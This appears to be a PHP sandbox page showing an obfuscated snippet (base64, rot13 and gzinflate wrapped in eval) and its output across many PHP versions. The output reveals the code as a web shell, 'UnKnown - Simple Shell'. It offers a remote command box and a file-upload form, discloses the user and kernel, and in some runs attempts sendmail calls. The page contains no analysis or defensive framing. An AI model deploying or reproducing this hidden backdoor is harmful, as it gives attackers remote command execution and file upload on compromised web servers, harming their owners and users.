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<?php eval(gzinflate(str_rot13(base64_decode('5Ul6QuNTEP5cpPsPyzaSHR3E0KrSCTCCgilEC6Fk0i+ArI09VvZv703rNSFS/PfOru28HAflqvvWKEXsbH3m2ZnZgEVFUgplqTQXE2qvffhui4+Ju82LArTbisIgDLu961t0xD6zmWbfYf/w9G6r9cALrnBMClp8sodBrTmM8NE49P8K+rf0ZTC4iS574YDeGzUXnzfU/eDPbhAOom6/WxmMcbJACzpgdwKaJFxQSc6YIGrCxDYBqLEr2BiyvQTQ9oQLHqGx6xhulMkEnHIBWMM2bHcVEJeK6wXGD0Ivguiqah5ggN7FBT18/rAFdgFiS12jkVoNKgflcMapLPR1IUsG7rIkp/qNQc/P+8hGXTTMtEcY5DWnfmPVGwR4QRnjqVjHCkCAnlg1m3LxycRVO7HM6A6hliq6UC9MwUbyqzkXpHaqaH7gbA1KyE1Gzp3o3pAQ1AMYIGgVaoKgtIsAcASI4gYrXYFgb6L4daFrMgKmkpMFm1f5v1DxZQbQZh8Vq8ZsbvHxo+0YPmmbOfotGNw6ZCoFmBkyI0fIRcWwPhRBa9bv3gyii+4fwfXpSODYwVWg0Jz4K6vz3tnwKrgeUf1eYuDcaqiXp+WEi8IrsR4PHvNHKujk09wMjIKq46pnO6SK167wf8d2OmvXNB1H04RT8UcSbaS5QeFrKH4XZS7ILglslqdAwimk6ZFKdo9T6thHRbuMJS6dgv8N/kIklkuq/+Mn+07DcNpM5u3QI2K0Z2GhMDL8+NSlHSwzTwFlo63Qemp1+705huiAhZQ88XqkeYGPGG6ZolDJcaWcfKlch/WufOYAMSE1VBqV9jjbm27GpYg1l4LkZllTWXvF86RNO7ERSM3YKv1PK5XLwjX6HcdmeS9N1bbRpSCsqr27YhQKZ6kEMZIOGjen+7Qmt41ey7+W4u7uW2Wg9etW6lGGMgcpRhnJzElSpmLMPVCY5cCn9Ph6T89xljGRNAQeZJGXmuhSDj7V8KgpMRz7NM4SuqkNy0TGSvoqDiUPLC3t+wztPYPs2DncUQprQDZRSaaa51l2eLebMM0a5Fo5ppp/KW6IM84SZcFGsHJrxvpSNUaeJCB3tFKFfcNgjP612vSmbKVozkJItDdEXMPcbR+QaBB48Q2blff+L2geAWbzQFacsqLwNdtjqEDWOjrSWGGrgjfoXduuhrFbp2Vh9nh2PRJhFn2+moHtlsXR+NRj0OnJKuw+Ngs4vGgaV5x7tLNTtg8z+QBEFR2SyBi4X2jRTB5IYbhol3U6NloN5ruEMtVJe6TpCrw3ITF74ZlHy5h56MMyjqEoiFNE58tjuLwq/Tahh+TZjtwLpuvOYqjGTrG81cossTdKvdtlBet69GbTU3v2gxu7MMs+glSIXRPJrraqkzzjWDf2y+Z9mq0gyBrDV/FfIcg3MSzJ/KaoQU2Q3ZQ5rwR++UpuxG+2qlqMsTbTDJG9udAfYq4CL7KOh1+j55NFMbNR7L3fYXe3vibHPw=='))));
Output for 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4

Process exited with code 255.
Output for 7.3.32 - 7.3.33, 7.4.26 - 7.4.33, 8.0.13
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0() gid=0()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.25
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=0(root) gid=0(root)</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>
Output for 5.3.25 - 5.3.29
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: /usr/bin/sendmail: not found sh: 1: ls: not found
Output for 4.3.1 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.9, 5.3.11 - 5.3.24
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: /usr/sbin/sendmail: not found sh: 1: /usr/sbin/sendmail: not found sh: 1: /usr/sbin/sendmail: not found sh: 1: ls: not found
Output for 5.3.10
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=33() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 3.8.2 #3 SMP Fri May 31 14:28:26 UTC 2013 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>sh: 1: -t: not found sh: 1: -t: not found sh: 1: -t: not found sh: 1: ls: not found
Output for 4.3.0
<title>UnKnown - Simple Shell</title><br><font size=2 color=#888888><b>SAFE_MODE : OFF</b><br><font size=2 color=#888888><b>User : uid=1000() gid=33()</b><br><font size=2 color=#888888><b>Uname : Linux php_shell 4.1.6-1-ARCH #1 SMP PREEMPT Mon Aug 17 08:52:28 CEST 2015 x86_64</b><br><form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form><form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form><pre><font size=3 color=#000000></font></pre>

preferences:
343.12 ms | 403 KiB | 452 Q